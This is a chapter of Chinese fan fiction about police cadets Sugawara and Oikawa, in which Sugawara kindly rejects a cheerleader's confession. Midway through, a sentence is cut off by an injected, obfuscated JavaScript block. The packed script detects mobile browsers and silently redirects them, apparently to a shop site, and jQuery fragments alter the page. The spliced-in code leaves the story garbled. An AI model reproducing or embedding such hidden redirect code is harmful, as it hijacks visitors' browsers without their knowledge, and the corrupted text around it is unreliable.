11. 警校生菅原的三件小事(上)
作品:《宫城县警局工作实录》 菅原孝支在大学的时候人气很高,而且是属于男女老少通吃的类型。
毕竟没有人能拒绝男妈妈。
但是让及川彻百思不得其解的是,那些五大三粗、健身健得年纪轻轻就有秃头风险的大哥们给菅原递情书也就算了,不过这连羞带怯、被姐妹团推过来的排球拉拉队男队员是怎么回事?
哥们,你这适配度也太高了。
当事人对此事适应得倒是十分良好,甩一甩并不存在的虚空长发,对着及川彻飞了一个十分浮夸的媚眼:“可能……这就是传说中的万人迷吧。”
及川难得被无语到,捂着双眼,悲伤到不能自抑:“啊——我瞎了!”
菅原哈哈一笑,从背后飞起一掌,正中及川后心:“得了,您老那双眼睛还得留着朝未来警花暗送秋波呢。”
及川一口老血喷出来,往前一个趔趄,反过来去抓菅原,仗着体型优势把人掐得死死的。
“诶唷诶唷大少爷!”菅原笑着求饶,“错了错了——”
及川大人大量,刚想高抬贵手放人一马,就听见菅原继续作死:“您老是得给警草——呃咳咳咳,掐死了掐死了——”
菅原是踩着身高线进的警校,不论在哪个专业里看都是小小一只。在警校的这群朋友里,一向是损完人就跑,跑不掉就立刻求饶。态度之好、言语之流畅,及川怀疑他每天在寝室里要专门腾出点时间,专门练这个。
及川顺手狠劲捏了两把菅原的斜方肌,把人捏得吱哇乱叫,笑骂了一声,就把人放开了。菅原哼着歌往前走,早上刚洗过的灰色短发四面八方地翘着,一颠一颠地抖着。他追了上去:“那这事你打算怎么办?”
菅原目不斜视:“什么怎么办?”
“你不会真的要答应那个啦啦队的吧!”及川的声音拔高了一个八度,直逼high C,引得身边人纷纷侧目。
菅原笑着斜睨了他一眼:“那怎么呢?”他的睫毛也是很浅的颜色,眯缝起来的时候把那双明亮的眼睛雾蒙蒙地遮起来,衬得眼角的那颗小痣更加明显,“人挺好的,正好我也了解了解啦啦队。”
及川的面色一时之间几经变换,最后生涩又干瘪地来了一句:“那你开心就好。”他也搞不懂自己是什么想法,就是……不搭。
人帅嘴甜的系草及川大人今天第三次感到词穷。
教学楼离食堂并不远,但奈何赶上了饭点,俩人排了好一会的队,才买到饭安心坐下。菅原递了餐具给及川,随口说道:“其实我也没打算答应他。”
及川依旧兴致不高:“哦。”
“怎么了大少爷,”菅原今天起晚了,早饭没来得及吃就去上课,现在饿得前胸贴后背,赶紧塞了一口蛋包饭,省得自己饿死,“我说答应你不高兴,不答应你也不高兴。”
“你答不答应跟我有什么关系?”及川拿着勺子三下两下把蛋皮戳烂,“你不说人家挺好么?”他觉得自己现在就像闹脾气的小孩,但是这口气不出他更不舒坦。
“人家是挺好,”菅原看及川眉头一挑又要发作,连忙给人顺毛,“但是也不耽误我不喜欢啊——这世界上好人这么多,我每个都要谈一遍的话不用干别的了。”
及川梗着脖子吃了两粒米:“可是人家喜欢你啊。”
菅原狠狠挖了两大口饭,把腮帮子揣得满满的,瞪着圆眼睛嚼了半天才回答:“他喜欢我,我就得和他谈恋爱么?”
“那你不就伤害人家了么?”及川托着腮帮子,大有把蛋包饭当成时尚单品的架势。菅原看不下去了,皱起眉道:“你不吃么?下午还有课呢。”
及川挖了一口饭塞进嘴里,算是给人个面子。
“好好说,不会伤害他的。”菅原优雅地把例汤一口喝了半碗,从碗边上探出半只眼睛对着他眨了眨,“相信我,真诚永远是第一奥义。”
下午的课及川一直在思考这件事,他把笔拆了又拼起来,好像在上枪械课,差点被老师请出教室。菅原藏在前桌的身后偷笑,在笔记本上画了个简笔的罚站小人羞臊他。
及川捏着笔,目不斜视地把小人的脸涂黑了。
“小气。”菅原偷偷和及川咬耳朵。
下了课菅原端着面目全非的小人让及川给个说法:“我可是很用心画的,你看这呆毛,这手这脚,除了我谁还能画得这么像?”
及川心说我去天桥上随便找一个十分钟速写都比你画得好,但嘴里说的是:“那给你做免费模特还没说你侵权呢。”
委婉了一点,但不多。
菅原申诉无果反惹上侵权官司,故作委屈地撇撇嘴,转移了话题:“走吧,今儿排球训练了。”
要说那位眉清目秀的拉拉队员也是排球场的常客,菅原和他之前的关系还不错,经常坐在一起聊家常。
现在……现在难免尴尬了点。及川想想就替菅原脚趾扣地。
大学的体育馆是气膜的,一出一进都要平衡气压,凑齐了一拨人再统一放行。菅原和及川刚打算关门的时候,一个声音从远及近飞奔而来。
菅原下意识给留了门,四目相对,三个人都傻眼了。
这不就是那个刚跟菅原递情书的拉拉队员么!?及川偷偷给菅原使眼色,菅原没反应,依旧跟人家微笑点头打招呼。
天,他是怎么能做到这么自然的!
及川的偶像包袱从小背到大,此时深刻意识到人与人之间的差距。他跟在菅原身边,一会摸摸刘海,一会拽拽护膝,一分钟八百个假动作,其实全是为了掩饰他正竖着耳朵偷听两人的谈话。
拉拉队员七分害羞三分期待,总而言之十分期待地和菅原没话找话,菅原一直好脾气地有问有答。
等到及川把自己的比目鱼肌快拉伸成刀鱼肌的时候,菅原终于话别了他的啦啦队学弟,临走前还跟人柔柔笑道:“你能在这等到我训练结束么?我有话和你说。”
学弟自然无不可以。
换谁看都得说一句这要不是脱单的前奏,我倒立洗头。
“你这是要拒绝人家?”热身跑的时候,及川拿手肘碰了碰菅原,低声问道。
菅原不解:“啊?这不是么?”
及川眨眨眼,表示很不理解。
“答应的话我当时就会答应,”菅原的体能比不上这些动辄一米八的威猛大汉,到最后一圈的时候已经有点气喘,“不会让他等这么久。”
及川一直没办法想象菅原谈恋爱的样子。
因为感觉他对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119718|149845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身边的所有人都一样的好,好得雨露均沾,好得普度众生。
这样的人他从前也见过,不过那种多多少少都带点油腻,被普罗大众称为中央空调或者老好人,和菅原还是有点区别。
他好得带点神性。
训练赛的时候是3v3,他们打同一个位置,所以自然而然地站在球场两侧。菅原对训练之后的谈话没什么心理负担,跟临时的队友们简单交代了手势暗号和基本的战术,就等着及川发球。他的刘海有点长了,在额前带了一条发带,眼神认真又专注。
菅原的身高在队里不够看,但胜在脑子灵活,和队友们联系深感觉好。所以三场打下来,虽然一场都没赢,但都分差不大,属于不影响感情的惜败。拉伸之后,队友们三三两两地结伴散了,菅原一边收拾一边和及川说:“你先回去吧,我早上洗过澡了。”
及川看了一眼已经拿着水,两眼放光的啦啦队学弟,碰了碰人肩膀:“诶,你好好说,以后可别咱都没啦啦队了。”
“这都哪儿跟哪儿啊,”菅原失笑,“我说过他人很好的。”
及川故作玄虚地摇了摇手指:“你不懂,爱会让人变魔鬼。”
菅原笑着搡了他一把,背起包:“你懂,爱情大师及川彻,”他往学弟的那个方向挥了挥手,“走了,一会寝室见。”
菅原对爱情有种超脱于世俗的理想主义。
就像他对及川说的,他谈恋爱的前提是两情相悦,而不是一个很好的人喜欢他就要和他在一起。他从小到大喜欢过别人,也被人喜欢过,所以他分得清喜欢和其他例如崇拜、依赖和好奇之类的感情。
在他眼中,那个学弟不过是因为看了几场比赛而自己又顺手帮他缝补了演出服的交情。
举手之劳,关爱情什么事。
菅原和学弟的谈话一直持续到了宵禁之前,学弟也很大方,被拒绝了也没要死要活。菅原送他回到了寝室楼下,又快跑了两步,在关门之前掐点进了宿舍。
阿姨鼻尖上的老花镜岌岌可危,还没看清是谁,他就已经一溜烟地没影了。
及川彻在寝室里吹头发,菅原进门的时候吓了他一跳,还以为是宿管阿姨突击检查。他撅着屁股藏吹风机的动作十足的狼狈,尴尬了0.1秒之后从容转身,问道:“怎么样?学弟身心还健康么?”
“当然,”菅原装作没看见,实则内心乐翻了天,背对着自尊心爆棚的大少爷把训练的衣服扔进装脏衣服的盆里,“健康得能打死一头牛。”
及川此时已经完全没有中午时候的烦躁了,反倒是好奇:“诶诶,你怎么跟他说的?”
菅原摘了发带,甩了甩已经被定型了的刘海,傻乎乎地嘿嘿笑了两声:“能怎么说,你是个好人,但我不喜欢你呗。”他坐在椅子上,冲着及川一歪头,拿腔拿调地说,“我是坚定的一见钟情主义者——”
“所以我不接受‘先试试,万一有感觉呢’这样的选项。”
“好了,”菅原把东西归置好,站起来抻了个懒腰,“不知道我的无聊八卦有没有调剂到大少爷的生活——这件事到此为止,以后别再涮我了哦。”
及川象征性地反驳了两句,随即关灯。
夜凉如水,一晚好梦。

